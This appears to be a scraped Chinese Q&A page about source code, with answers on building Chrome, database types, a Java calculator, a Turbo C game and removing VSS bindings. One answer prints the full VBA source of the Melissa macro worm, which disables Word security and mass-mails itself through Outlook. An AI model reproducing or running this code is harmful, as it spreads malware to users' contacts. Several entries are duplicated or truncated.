源代码

阅读 / 问答 / 标签

如果Python的源代码无法保密,那不是说所有的算法大伙都可以用?

Python鼓励开源,一定要加密也是可以的,比如做win桌面软件,打包成exe就可以做封装处理的。但现在的软件大都以BS为主,客户看到的只是数据展示,也就是常说的前端。逻辑都在服务上处理,用户一样是看不到的。

谁能给个简单人工智能的源代码

我来给你一个,世界上最简单的人工智能代码——相当于3岁小孩智力,是用PHP写的一共就30多行,文章来源网页链接

如何在windows下编译Chrome源代码

一,编译之前的准备。 1) 了解代码组织结构。 Chrome source非常庞大,并且在其主目录下还包含有工具和组件,任何一个工具和组件也附带有其源代码。首先得熟悉这些源代码的组织结构,在http://src.chromium.org/svn/中包含如下子目录:releases,曾经发布过的chrome源代码的正式版本;trunk,当前最新的源代码。由于releases中的代码比较旧,这里就不做说明了,只说明trunk的结构。在trunk下面有3个重要的目录,deps包含了chrome编译和运行所需要的全部组件的代码。src里面包含的则是chrome的主程序的代码,tools包含的是下载和配置编译所需要的第三方工具的压缩包和源代码,其中就有svn和python这2个比较重要的工具,后面再详细介绍。暂时做这样一个简单的介绍,因为其组织结构比较负责,以后再作补充斧正。 2)如何下载和同步源代码。 首先谈谈下载: 1,最简单的方法是从chrome官网上直接下载源代码压缩包,地址是http://build.chromium.org/buildbot/archives/chromium_tarball.html。 2,或者采用svn从http://src.chromium.org/svn/trunk/src这个地方heckout,这要求你先在本地建一个源代码的主目录。 3,另外一个办法则是采用google提供的一个部署工具depot_tools。虽然这几种办法都可下载完整的源代码,但目前的情况是:chrome基于Visual Stdio 2005 进行编译,如果顺利完成编译工作,自然少不了sln文件,较早的源代码中包含有现成的sln和vcproject文件,但后来做了修改,这些文件被抛弃掉,Google自己开发了一种脚本工具叫做GYP,这个工具采用python编写,GYP采用了自定义的一套规则,用于生成各种工程文件。而关键的python则包含于depot_tools中,因此不论采用什么方法下载的代码,都得下载depot_tools这个工具,以获得必须的工程文件。depot_tools位于 http://src.chromium.org/svn/trunk/tools 下面,包括一个目录和一个zip格式的压缩包。 3)关于编译器 前面提到Chrome采用Visual Stdio 2005进行编译,根据http://dev.chromium.org的说明,需进行如下操作正常编译 a, 安装Visual Studio 2005. b, 安装Visual Studio 2005 Service Packe 1. c, 安装Visual Studio Hotfix 947315. d, 如果是vista系统,还需安装Visual Studio 2005 Service Packe 1 Update for Windows Vista. e, 安装Windows 2008 SDK,如果是Visual Studio 2008则不需要这一步。 f, 配置Windows 2008 SDK,使2008 SDK成为首选开发库,以获得一些新功能和特性。办法是在开始->程序->Microsoft Windows SDK v6.1 > Visual Studio Registration > Windows SDK Configuration Tool,选择make current按钮。也可以在VS里面手动配置include和libary路径,效果是一样的。二,如何配置工程文件 1,如果是采用depot_tools,那么从代码下载到生成sln文件会自动完成。其步骤是 (1)下载depot_tools到本地存储,假设位于d:/depot_tools. (2)将d:/depot_tools添加到系统环境变量中。 (3)创建一个源代码根目录,假设为 d:/chrome,目录不得包含空格。 (4)在命令行下切换当前目录到d:/chrome。 (5)执行命令 gclient config http://src.chromium.org/svn/trunk/src ,该命令会首先下载svn和python分别到d:/depot_tools/svn_bin和d:/depot_tools/python_bin。 (6)执行命令 gclient sync 这个命令会调用svn同步源代码。这个过程会比较漫长。全部完成之后全部源代码就保存在d:/chrome里面。未编译的代码大约有4个G左右,过程将十分漫长。这样获得的源代码已经包含所有的工程文件,可直接打开。 重点说明一下gclient,它实际上是一个批处理文件,它主要做了如下一些事情,首先设置环境变量,如代码根目录,工具根目录等。其次调用win_tools.bat从服务器下载svn和python。最后调用python.exe对Chrome.gyp进行解析生成所有工程文件。 另外需要说明的是,gclient sync的过程非常漫长,根据命令行的提示来看总共需要同步67个项目(不是工程),期间可能会因为一些原因导致错误而退出这个过程,需要继续调用sync。比如网络出现故障svn会多次进入sleep状态然后重试,如果多次失败就会报错退出,还有的情况是某些子目录的属性问题无法同步,可根据提示进行操作。还有个目前新出现的问题,下面2个目录“src/webkit/data/layout_tests/LayoutTests”和“src/third_party/WebKit/LayoutTests”的源代码是从src.webkit.org签出来的,但是这个网站目前存在问题无法签出代码, 需要屏蔽掉这2个目录,由于里面是测试代码,即使丢弃也不会影响整个工程的编译,方法是打开trunk下面的.gclient文件,向里面添加如下内容 "custom_deps" : { "src/webkit/data/layout_tests/LayoutTests":None, "src/third_party/WebKit/LayoutTests":None, }, 这样svn就能完成代码的同步了。最后gclient会调用depot_tools/python_bin/python.exe 对 src/build/gyp_chromium进行处理,这样就得到了所有的sln和vcproject文件。 2,如果是下载的代码压缩包或者checkout的代码,代码目录里面没有sln文件,这个时候需要调用命令行进入源代码根目录,然后执行命令 gclient runhooks --force,命令执行后会直接对Chrome.gyp进行解析,生成sln文件。 在实际下载过程中,最开始的时候我用TortoiseSVN从http://src.chromium.org/svn/trunk/src checkout源代码,但是得到的代码只有几百兆,执行gclient runhooks --force命令后也没有找到sln文件,具体原因未知,不建议使用此方式。而直接下载代码压缩包的方式没有尝试过,不知道是否可行。因此最稳妥的方法还是使用depot_tools来部署和处理源代码。 三 编译工程 启动Visual Studio 2005打开 src/chrome/browser/chrome.sln,或者打开src/build/all.sln,如果打开的是chrome.sln里面包含480个工程,而all.sln则包含507个工程,一些09年的编译说明提到有300左右的工程,可见chrome的代码变动比较大。对整个解决方案进行编译,打开需要2个小时才能完成编译,视硬件环境而定,内存越大越快,推荐4G以上内存,酷睿2核或者4核。编译完成以后据说会占用30G的空间。编译后的文件位于 d:/chorme/chrome/debug 目录或者 d:/chorme/chrome/release目录下。 四 chrome涉及的开源项目 Chrome 采用了很多开源项目,这里把它们列出来以备后用,目前Chrome涉及25个开源代码:1、Google Breakpad /src/breakpad 开源的跨开台程序崩溃报告系统。2、Google URL /src/googleurl Google小巧的URL解析整理库。3、Skia /src/skia 矢量图引擎。4、Google v8 /src/v8 Google开源的JavaScript引擎。V8实现了ECMA-262第三版的ECMAScript规范,可运行于Windows XP 和 Vista, Mac OS X 10.5 (Leopard), 及 Linux等基于IA-32 或 ARM 的系统之上。V8可单独运行也可嵌入到任何C++程序中。5、Webkit /src/webki 开源的浏览器引擎6、Netscape Portable Runtime (NSPR) /src/base/third_party/nspr Netscape Portable Runtime (NSPR) 提供了系统级平台无关的API及类似libc的函数。7、Network Security Services (NSS) /src/base/third_party/nss Network Security Services (NSS) 一套用于支持服务器端与客户端安全开发的跨平台函数库。程序通过NSS可支持SSL v2 and v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, X.509 v3 认证及其它一些安全标准。8、Hunspell /src/chrome/third_party/hunspell Spell checker and morphological analyzer library and program designed for languages with rich morphology and complex word compounding or character encoding.9、Windows Template Library /src/chrome/third_party/wtl 用于开发Windows程序与UI组件的C++ library。WTL扩展了ATL (Active Template Library) 并提供一套用于controls, dialogs, frame windows, GDI objects等开发的类。10、Google C++ Testing Framework /src/testing/gtest Google用于编写C++测试的基于xUnit架构的框架,可用于多种平台上:Linux, Mac OS X, Windows, Windows CE, and Symbian。支持自动测试发现,有一套丰富的Assertions断言,用于可自定义断言,death tests, fatal and non-fatal failures, various options for running the tests, and XML test report generation.11、bsdiff 与 bspatch /src/third_party/bsdiff 及 /src/third_party/bspatch bsdiff 与 bspatch 用于为二进制文件生成补丁。12、bzip2 /src/third_party/bzip2 bzip2使用Burrows-Wheeler block sorting text compression 算法与Huffman编码压缩文件。13、International Components for Unicode (ICU) /src/third_party/icu38 ICU是一套成熟并被广泛使用的C/C++ 及 Java 库,可为软件提供Unicode与全球化支持。14、libjpeg /src/third_party/libjpeg 用于处理JPEG (JFIF)图像格式的库。15、libpng /src/third_party/libpng PNG图像格式库。支持绝大部分的PNG特性,可扩展。已经被广泛地使用了13年以上了。16、libxml /src/third_party/libxml C语言的XML解析库。17、libxslt /src/third_party/libxslt C语言的XSLT库。18、LZMA /src/third_party/lzma_sdk LZMA为7-Zip软件中7z格式压缩所使用的压缩算法,有很好的压缩效果。19、stringencoders /src/third_party/modp_b64 一系列高性能的c-string转换函数,比如:base 64 encoding/decoding。通常比其标准实现快两倍以上。20、Netscape Plugin Application Programming Interface (NPAPI) /src/third_party/npapi 多种浏览器使用的跨平台插件架构。21、Pthreads-w32 /src/third_party/pthread 用于编写多线程程序的API22、SCons - a software construction tool /src/third_party/scons 开源的软件构建工具——下一代的编译工具。可以认为SCons是改进过的跨平台配上autoconf/automake与ccache的Make工具的子系统。23、sqlite /src/third_party/sqlite 大名鼎鼎的嵌入式数据库引擎。自管理、零配置、无需服务器、支持事务。24、TLS Lite /src/third_party/tlslite SSL 3.0, TLS 1.0, and TLS 1.1的Python免费实现库。TLS Lite支持这些安全验证方式:SRP, shared keys, and cryptoIDs in addition to X.509 certificates。注:Chrome并不包涵Python。TLS Lite用于Chrome开发过程中的代码覆盖、依赖检查、网页加载时间测试及生成html结果比较等。25、zlib /src/third_party/zlib zlib为一套用于任意平台与机器的无损数据压缩的库,它免费、自由、无任何法律专利问题。

谁能给我一个Linux系统中du命令的详细分析?(包括源代码的分析)

man du

源代码中 int 类型的是否可以对应数据库中tinyint类型的

不可以。数据库中:INT型数据的表数范围是从-2,147,483,647到2,147,483,647的整数 SMALLINT 型数据可以存储从-32768到32768的整数 TINYINT 型的字段只能存储从0到255的整数,不能用来储存负数 你可以查一下你用的脚本语言的数据类型的范围,再取适合范围的数据类型;但应该数据库的数值范围应大于等于源码中使用的数据范围。

梅丽莎病毒源代码

Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") <> "" Then   CommandBars("Macro").Controls("Security...").Enabled = False   System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") = 1&Else   CommandBars("Tools").Controls("Macro").Enabled = False   Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -1): Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") <> "... by Kwyjibo" Then   If UngaDasOutlook = "Outlook" Then     DasMapiName.Logon "profile", "password"     For y = 1 To DasMapiName.AddressLists.Count        Set AddyBook = DasMapiName.AddressLists(y)        x = 1        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)        For oo = 1 To AddyBook.AddressEntries.Count          Peep = AddyBook.AddressEntries(x)          BreakUmOffASlice.Recipients.Add Peep          x = x + 1          If x > 50 Then oo = AddyBook.AddressEntries.Count        Next oo        BreakUmOffASlice.Subject = "Important Message From " & Application.UserName        BreakUmOffASlice.Body = "Here is that document you asked for ... don"t show anyone else ;-)"        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName        BreakUmOffASlice.Send        Peep = ""     Next y     DasMapiName.Logoff   End If   System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") = "... by Kwyjibo"End IfSet ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)NTCL = NTI1.CodeModule.CountOfLinesADCL = ADI1.CodeModule.CountOfLinesBGN = 2If ADI1.Name <> "Melissa" Then   If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL   Set ToInfect = ADI1   ADI1.Name = "Melissa"   DoAD = TrueEnd IfIf NTI1.Name <> "Melissa" Then   If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL   Set ToInfect = NTI1   NTI1.Name = "Melissa"   DoNT = TrueEnd IfIf DoNT <> True And DoAD <> True Then GoTo CYA   If DoNT = True Then     Do While ADI1.CodeModule.Lines(1, 1) = ""        ADI1.CodeModule.DeleteLines 1     Loop     ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")     Do While ADI1.CodeModule.Lines(BGN, 1) <> ""        ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)        BGN = BGN + 1     Loop   End IfIf DoAD = True Then   Do While NTI1.CodeModule.Lines(1, 1) = ""      NTI1.CodeModule.DeleteLines 1   Loop   ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")   Do While NTI1.CodeModule.Lines(BGN, 1) <> ""      ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)      BGN = BGN + 1   LoopEnd IfCYA:If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then   ActiveDocument.SaveAs FileName:=ActiveDocument.FullNameElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then   ActiveDocument.Saved = TrueEnd If"WORD/Melissa written by Kwyjibo"Works in both Word 2000 and Word 97"Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!"Word -> Email | Word 97 <--> Word 2000 ... it"s a new age!If Day(Now) = Minute(Now) Then   Selection.TypeText " Twenty-two points,plus triple-word-score,plus fifty points for using all my letters.Game"s over. I"m outta here."End Su

SDC沙盒源代码防泄密适用于哪些行业?

适合的行业包括:- 软件、通讯、游戏、制造、电力、金融等拥有研发设计部门的企事业单位;- 拥有自己的研发部门,具有一定的技术优势企业;- PDM/ERP/文档管理/OA等应用系统的开发商;- 所有需要对自己的机密信息保密的企事业单位。

求windows内核C语言源代码

小哥,你太天真了,你还是去看Linux的源代码吧。你不可能找到windows的源代码的,人家不开源,不过你可以尝试成为微软操作系统部的员工,那也许有可能。

为什么 Epic 要以公开完整源代码的形式发布 Unreal 4 游戏引擎

我来说说我得一些看法吧1. 敢开放源代码,说明对自己的信心,其实这也是对第三方厂家的示好,你有NB的东西,你可以做成插件在我这里卖一起赚钱。业界领袖还是要有一些领袖的风度的,。2. 对于小游戏开发组和独立开发组来说,不再担心使用NB的引擎需要付出的高昂费用,Steam上现在可以看到至少10个独立游戏是用UE4做的,有些甚至于开发组里面没有程序员,全部使用BP完成逻辑,3. 对于大公司,大项目来说,稳定可靠的Pipeline和开发环节中的控制,让他们会放心,而且签订一个商业授权买断比5%流水有时候要划算很多,特别是大项目。4, 霜寒好,可惜就EA自己玩。5. 移动平台上现在看起来Unity还是很厉害的,而UE4更多表现力在高端配置上会展现的比较多,但是要知道,1年前的手机性能和现在的性能差别有多少,经过1~2年迭代,到时候的移动平台中低端机器都可以秒杀现在的旗舰,SO,抓住高端的至少起点不会低。

同时看过 unreal4 和 Unity 源代码的人觉得哪个引擎架构更好

两个引擎思路设计是不一样的:Unreal注重的是工业化流程, 强调整体性, 官方性. 所以你会发现Unreal很少会有那么多的插件和扩展(普及程度是最大原因, 但还是和设计有关系). Unity3D的思路就是全脚本化, 让大家来给它做各种Mod, 可以说是用互联网思想来做引擎. 有了流量和用户, 普及就不是啥问题, 更可以说自己的哲学是正确的题主所说的, 用带反射的语言来做. Unity3D就是这么完成的编辑器. 可以说, 编辑器本身完完全全都是用引擎本体写出来的. 但引擎本体本没有编辑器支持. 而虚幻呢, 由于老的一些架构和思想下, 还是使用引擎本体糅合编辑器的功能, 通过宏控制来制作. 但多年的编写经验证明这么做其实也还好. 这是用C++做脚本这点. 我也感觉不大好, 至少来说, 开发效率和普及就受到很严重的牵制.另外我觉得, Unreal这种整合方式的思想和Unity3D这种MOD开发的思想肯定会长期存在的, 各有各的好处. 有的人喜欢完善, 有的人喜欢自定义. 就像Windows和Linux一样

同时看过 unreal4 和 Unity 源代码的人觉得哪个引擎架构更好

两个引擎思路设计是不一样的:Unreal注重的是工业化流程, 强调整体性, 官方性. 所以你会发现Unreal很少会有那么多的插件和扩展(普及程度是最大原因, 但还是和设计有关系). Unity3D的思路就是全脚本化, 让大家来给它做各种Mod, 可以说是用互联网思想来做引擎. 有了流量和用户, 普及就不是啥问题, 更可以说自己的哲学是正确的题主所说的, 用带反射的语言来做. Unity3D就是这么完成的编辑器. 可以说, 编辑器本身完完全全都是用引擎本体写出来的. 但引擎本体本没有编辑器支持. 而虚幻呢, 由于老的一些架构和思想下, 还是使用引擎本体糅合编辑器的功能, 通过宏控制来制作. 但多年的编写经验证明这么做其实也还好. 这是用C++做脚本这点. 我也感觉不大好, 至少来说, 开发效率和普及就受到很严重的牵制.另外我觉得, Unreal这种整合方式的思想和Unity3D这种MOD开发的思想肯定会长期存在的, 各有各的好处. 有的人喜欢完善, 有的人喜欢自定义. 就像Windows和Linux一样

C语言遗传算法在求解TSP问题 毕业论文+源代码

目录摘要IAbstractII引言1第一章基本遗传算法21.1遗传算法的产生及发展31.2基本原理31.3遗传算法的特点31.4基本遗传算法描述51.5遗传算法构造流程6第二章遗传算法的实现技术62.1编码方法72.1.1二进制编码72.1.2格雷码编码72.1.3符点数编码82.1.4参数编码82.2适应度函数102.3选择算子102.4交叉算子102.4.1单点交叉算子102.4.2双点交叉算子112.4.3均匀交叉算子112.4.4部分映射交叉112.4.5顺序交叉122.5变异算子122.6运行参数122.7约束条件的处理方法132.8遗传算法流程图14第三章遗传算法在TSP上的应用153.1TSP问题的建模与描述153.2对TSP的遗传基因编码方法163.3针对TSP的遗传操作算子173.3.1选择算子173.3.1.1轮盘赌选择173.3.1.2最优保存策略选择173.3.2交叉算子203.3.2.1单点交叉203.3.2.2部分映射交叉213.3.3变异算子233.4TSP的混和遗传算法26第四章实例分析274.1测试数据274.2测试结果274.3结果分析27摘要TSP(TravelingSalesmanProblem)旅行商问题是一类典型的NP完全问题,遗传算法是解决NP问题的一种较理想的方法。文章首先介绍了基本遗传算法的基本原理、特点及其基本实现技术;接着针对TSP问题,论述了遗传算法在编码表示和遗传算子(包括选择算子、交叉算子变异算子这三种算子)等方面的应用情况,分别指出几种常用的编码方法的优点和缺点,并且结合TSP的运行实例详细分析了基本遗传算法的4个运行参数群体大小、遗传算法的终止进化代数、交叉概率、变异概率,对遗传算法的求解结果和求解效率的影响,经过多次的测试设定出了它们一组比较合理的取值。最后,简单说明了混合遗传算法在求解TSP问题中的应用并对遗传算法解决TSP问题的前景提出了展望。关键词:TSP遗传算法遗传算子编码@@@需要的话按我的名字找我吧

C语言遗传算法在求解TSP问题 毕业论文+源代码

目录摘要iabstractii引言1第一章基本遗传算法21.1遗传算法的产生及发展31.2基本原理31.3遗传算法的特点31.4基本遗传算法描述51.5遗传算法构造流程6第二章遗传算法的实现技术62.1编码方法72.1.1二进制编码72.1.2格雷码编码72.1.3符点数编码82.1.4参数编码82.2适应度函数102.3选择算子102.4交叉算子102.4.1单点交叉算子102.4.2双点交叉算子112.4.3均匀交叉算子112.4.4部分映射交叉112.4.5顺序交叉122.5变异算子122.6运行参数122.7约束条件的处理方法132.8遗传算法流程图14第三章遗传算法在tsp上的应用153.1tsp问题的建模与描述153.2对tsp的遗传基因编码方法163.3针对tsp的遗传操作算子173.3.1选择算子173.3.1.1轮盘赌选择173.3.1.2最优保存策略选择173.3.2交叉算子203.3.2.1单点交叉203.3.2.2部分映射交叉213.3.3变异算子233.4tsp的混和遗传算法26第四章实例分析274.1测试数据274.2测试结果274.3结果分析27摘要tsp(travelingsalesmanproblem)旅行商问题是一类典型的np完全问题,遗传算法是解决np问题的一种较理想的方法。文章首先介绍了基本遗传算法的基本原理、特点及其基本实现技术;接着针对tsp问题,论述了遗传算法在编码表示和遗传算子(包括选择算子、交叉算子变异算子这三种算子)等方面的应用情况,分别指出几种常用的编码方法的优点和缺点,并且结合tsp的运行实例详细分析了基本遗传算法的4个运行参数群体大小、遗传算法的终止进化代数、交叉概率、变异概率,对遗传算法的求解结果和求解效率的影响,经过多次的测试设定出了它们一组比较合理的取值。最后,简单说明了混合遗传算法在求解tsp问题中的应用并对遗传算法解决tsp问题的前景提出了展望。关键词:tsp遗传算法遗传算子编码@@@需要的话按我的名字找我吧

求JAVA科学计算器源代码,要能进行角运算和进制转换

import java.awt.*;import java.awt.event.*;public class Jsj{ private Frame f; private String name[] = {"MC","7","8","9","/","sqrt","MR","4","5","6","*","%","MS","1","2","3","-","1/x","M+","0","+/-",".","+","="}; private Button Button[]= new Button[name.length]; private TextField tf; private Panel p; private int count = 0; public void setup() { f = new Frame("计算器"); tf = new TextField(40); p = new Panel(); p.setLayout(new GridLayout(4,6,5,5)); for(int i=0;i<name.length;i++) { Button[i]= new Button(name[i]); p.add(Button[i]); } f.add(tf,BorderLayout.NORTH); f.add(p,BorderLayout.SOUTH); f.addWindowListener(new MyWindowListener()); f.pack(); f.setResizable(false f.show(); } public static void main(String[] args) { Jsj mf = new Jsj(); mf.setup(); } class MyWindowListener extends WindowAdapter { public void windowClosing(WindowEvent e) { System.exit(0); } } }

怎样阅读Linux源代码

阅读linux源代码要掌握一定的386硬件知识,AT&T汇编语言结构,操作系统原理等等基础知识。但是及时掌握这些知识读懂源码还是很困难的(当然掌握操作系统原理也是一件不容易的事情),建议你先去看一下u/cos源代码,根据其源代码试着自己给51单片机写一个小的分时操作系统,移植到单片机上试试效果。然后再根据对u/cos理解自己写一个自己的u/cos,并移植到arm7平台上,一步一步来。总之linux操作系统是一个很复杂的软件,它不仅仅要求你对大型软件架构有很深入的认识,还要求你对硬件的操作非常熟悉,我们经常看到在linux系统中常常会有汇编语言与c语言的嵌套。更多Linux介绍请查看《Linux就该这么学》。

C语言遗传算法在求解TSP问题 毕业论文+源代码

目录摘要IAbstractII引言1第一章基本遗传算法21.1遗传算法的产生及发展31.2基本原理31.3遗传算法的特点31.4基本遗传算法描述51.5遗传算法构造流程6第二章遗传算法的实现技术62.1编码方法72.1.1二进制编码72.1.2格雷码编码72.1.3符点数编码82.1.4参数编码82.2适应度函数102.3选择算子102.4交叉算子102.4.1单点交叉算子102.4.2双点交叉算子112.4.3均匀交叉算子112.4.4部分映射交叉112.4.5顺序交叉122.5变异算子122.6运行参数122.7约束条件的处理方法132.8遗传算法流程图14第三章遗传算法在TSP上的应用153.1TSP问题的建模与描述153.2对TSP的遗传基因编码方法163.3针对TSP的遗传操作算子173.3.1选择算子173.3.1.1轮盘赌选择173.3.1.2最优保存策略选择173.3.2交叉算子203.3.2.1单点交叉203.3.2.2部分映射交叉213.3.3变异算子233.4TSP的混和遗传算法26第四章实例分析274.1测试数据274.2测试结果274.3结果分析27摘要TSP(TravelingSalesmanProblem)旅行商问题是一类典型的NP完全问题,遗传算法是解决NP问题的一种较理想的方法。文章首先介绍了基本遗传算法的基本原理、特点及其基本实现技术;接着针对TSP问题,论述了遗传算法在编码表示和遗传算子(包括选择算子、交叉算子变异算子这三种算子)等方面的应用情况,分别指出几种常用的编码方法的优点和缺点,并且结合TSP的运行实例详细分析了基本遗传算法的4个运行参数群体大小、遗传算法的终止进化代数、交叉概率、变异概率,对遗传算法的求解结果和求解效率的影响,经过多次的测试设定出了它们一组比较合理的取值。最后,简单说明了混合遗传算法在求解TSP问题中的应用并对遗传算法解决TSP问题的前景提出了展望。关键词:TSP遗传算法遗传算子编码@@@需要的话按我的名字找我吧

急求C语言编译的小游戏(如扫雷),附带源代码和注释。

在不同机子上编译时需修改init()函数中TC路径#include "graphics.h"#include "stdlib.h"#include "math.h"#include "bios.h"#define pi 3.14#define r 10#define right 8292#define left 7777#define esc 283#define pause 14624struct ball{ int x,y; int oldx,oldy; int derection;/*球的方向采用角度制,范围是0-360度*/}ball;struct platform{ int x,y; unsigned key; int oldx,oldy;}platform;int score=0;/*得分*/int speed=1;/*速度*/unsigned key;void init();void base();void scoreview();void play();double change(int x);void gameover();void close();void main(){ init(); base(); scoreview(); play(); getch(); close();}void init()/*初始化图形模式*/{ int gm=DETECT,gd; initgraph(&gm,&gd,"G:\tc\bgi");/*根据不同的TC进行路径修改*/}void close()/*关闭图形模式*/{ closegraph();}void base()/*画边框,球以及板并且对球和板的各参数初始化*/{ int i; setbkcolor(GREEN); setcolor(8); setfillstyle(4,LIGHTGRAY); rectangle(149,149,501,351); rectangle(140,140,510,360); floodfill(141,141,8); setfillstyle(9,BLUE); platform.x=300; platform.y=343; bar(platform.x,platform.y,platform.x+40,platform.y+5); randomize(); ball.x=random(330)+160; ball.y=160; ball.derection=random(30)+280; setfillstyle(1,YELLOW); setcolor(YELLOW); fillellipse(ball.x,ball.y,r,r);}void scoreview()/*显示当前的得分数*/{ char sco[20]; setcolor(WHITE); setfillstyle(1,YELLOW); bar(300,50,440,80); sprintf(sco,"score:%d",score); setcolor(RED); settextstyle(0,0,2); outtextxy(310,60,sco);}void play(){ int i=5; settextstyle(0,0,2); setcolor(11); outtextxy(50,400,""A"for left "D"for right");/*提示各个控制键*/ outtextxy(50,450,""space"for pause "ESC" for quit"); setcolor(RED); setfillstyle(1,GREEN); while(!kbhit())/*开始之前提示按任意键进入游戏,且提示不停闪烁*/ { outtextxy(100,100,"press any key to begin!"); delay(400); bar(100,100,500,120); delay(400); } while(1) { while(!kbhit()) { ball.oldx=ball.x; ball.oldy=ball.y;/*记录下当前球的位置*/ /*根据球的方向来利用角度的正切值来改变球的坐标*/ if(ball.derection>0&&ball.derection<90) {ball.x+=10;ball.y+= (-10*tan(change(ball.derection)));} if(ball.derection>90&&ball.derection<180) {ball.x+=-10;ball.y+=(10*tan(change(ball.derection)));} if(ball.derection>180&&ball.derection<270) {ball.x+=-10;ball.y+=(10*tan(change(ball.derection)));} if(ball.derection>270&&ball.derection<360) {ball.x+=10;ball.y+=(-10*tan(change(ball.derection)));} if(ball.y+r>=platform.y)/*如果球到底有两种情况*/ {if(ball.x+r-platform.x<0||ball.x-r-platform.x>40) /*球不在板上*/ { ball.y=platform.y-r+7; setfillstyle(1,GREEN); setcolor(GREEN); fillellipse(ball.oldx,ball.oldy,r,r); /*球在游戏结束处闪烁五次*/ while(i) { setfillstyle(1,YELLOW); setcolor(YELLOW); fillellipse(ball.x,ball.y,r,r); delay(300); setfillstyle(1,GREEN); setcolor(GREEN); fillellipse(ball.x,ball.y,r,r); delay(300); i--; } gameover();/*游戏结束*/ } else { ball.y=platform.y-r; ball.derection=360-ball.derection;/*球在板上的话得一分,且速度加一但不能超过5*/ score++; speed++; if(speed>5) speed=5; scoreview();/*刷新得分*/ } } /*如果球撞墙或板后修正坐标并改变方向*/ if(ball.y-r<150) { ball.y=150+r; ball.derection=360-ball.derection; } if(ball.x-r<150) { ball.x=150+r; if(ball.derection>180&&ball.derection<270) ball.derection=540-ball.derection; if(ball.derection>90&&ball.derection<180) ball.derection=180-ball.derection; } if(ball.x+r>500) { ball.x=500-r; if(ball.derection>270&&ball.derection<360) ball.derection=540-ball.derection; if(ball.derection>0&&ball.derection<90) ball.derection=180-ball.derection; } setfillstyle(1,GREEN); setcolor(GREEN); fillellipse(ball.oldx,ball.oldy,r,r);/*在先前位置用底色抹掉球*/ setfillstyle(1,YELLOW); setcolor(YELLOW); fillellipse(ball.x,ball.y,r,r);/*在新位置显示球*/ delay(150+(5-speed)*50); } /*对底板的控制*/ key=bioskey(0); platform.oldx=platform.x; platform.oldy=platform.y;/*记录下底板先前位置*/ /*通过方向键改变底板的坐标*/ if(key==right) platform.x+=15; if(key==left) platform.x-=15; if(key==esc) gameover(); /*如果暂停则闪烁提示按任意键(除暂停键)继续*/ if(key==pause) while(!kbhit()) { setcolor(RED); outtextxy(10,20,"paused! press any key to continue."); delay(400); setfillstyle(1,GREEN); bar(10,20,600,40); delay(400); }; if(platform.x<150) platform.x=150; if(platform.x>460) platform.x=460;/*对底板坐标修正*/ setfillstyle(1,GREEN); bar(platform.oldx,platform.y,platform.oldx+40,platform.y+5);/*在先前位置抹掉底板*/ setfillstyle(9,BLUE); bar(platform.x,platform.y,platform.x+40,platform.y+5);/*在新位置显示底板*/}}void gameover()/*游戏结束,显示最终得分*/{char buffer[50];cleardevice();sprintf(buffer,"your final score is:%d",score);setcolor(BLUE);settextstyle(0,0,3);outtextxy(100,300,buffer);setcolor(RED);settextstyle(0,0,5);outtextxy(0,150,"thanks for play!");getch();exit(0);}double change(int x)/*将角度转化为弧度*/{ double radians; return(x*pi/180);}

如何用javascript实现页面跳转(比如:上一页 1.2.3.4.5下一页) 用javascript编写源代码,谢谢。

应该得结合php吧?

C# echarts怎么 从数据库里取数据显示出来!求一份源代码 否则根本写不出来 谢谢

只看不说

机械原理牛头刨床的vb程序设计源代码

轮陆08的?来611我给你…………

已经启动了tomcat,JSP文件也放在webapps下,但是用浏览器打开jsp文件显示的只是源代码。怎么做。

比如Myeclipse可以直接用它自带的插件部署,一键将你web工程下对应的文件部署到tomcat服务器目录下,然后在浏览器中用localhost访问,或者自己手动部署,网上资料很多的,对应文件夹下放什么东西,放好后一样红localhost访问tomcat,浏览器源代码jsp,webapps比如Myeclipse可以直接用它自带的插件部署,一键将你web工程下对应的文件部署到tomcat服务器目录下,然后在浏览器中用localhost访问,或者自己手动部署,网上资料很多的,对应文件夹下放什么东西,放好后一样红localhost访问

删除源代码的管理信息(VSS)

以前非dotNet时代用VSS,只会生成一个vssver.scc文件,取消VSS功能时只需删除该文件,把文件属性改为非只读即可。最近在dotNet中使用了VSS功能,但在撤消进出现了问题,单独删除增加的文件无法去除VSS功能,研究过后发现dotNet下的VSS与以前版本有很大区别,它不但添加了若干文件,还修改了部分文件的信息,需要使用以下办法删除环境对源码的管理:1:删除mssccprj.scc、解决方案名。vssscc、vssver.scc 、项目名。csproj.vspscc文件2:在项目名。vbproj 中有类似下面的信息,删除下面的配置信息:SccProjectName = "SAK"SccLocalPath = "SAK"SccAuxPath = "SAK"SccProvider = "SAK"3:最后在。sln文件中找VSS的相关信息,并将其删除GlobalSection(SourceCodeControl) = preSolutionSccNumberOfProjects = 4SccLocalPath0 = .CanCheckoutShared = falseSolutionUniqueID = {77652F52-DA0D-4E0B-AC65-ACBAD5F49A1B}SccProjectUniqueName1 = dibdb\dibdb.vbprojSccLocalPath1 = .CanCheckoutShared = 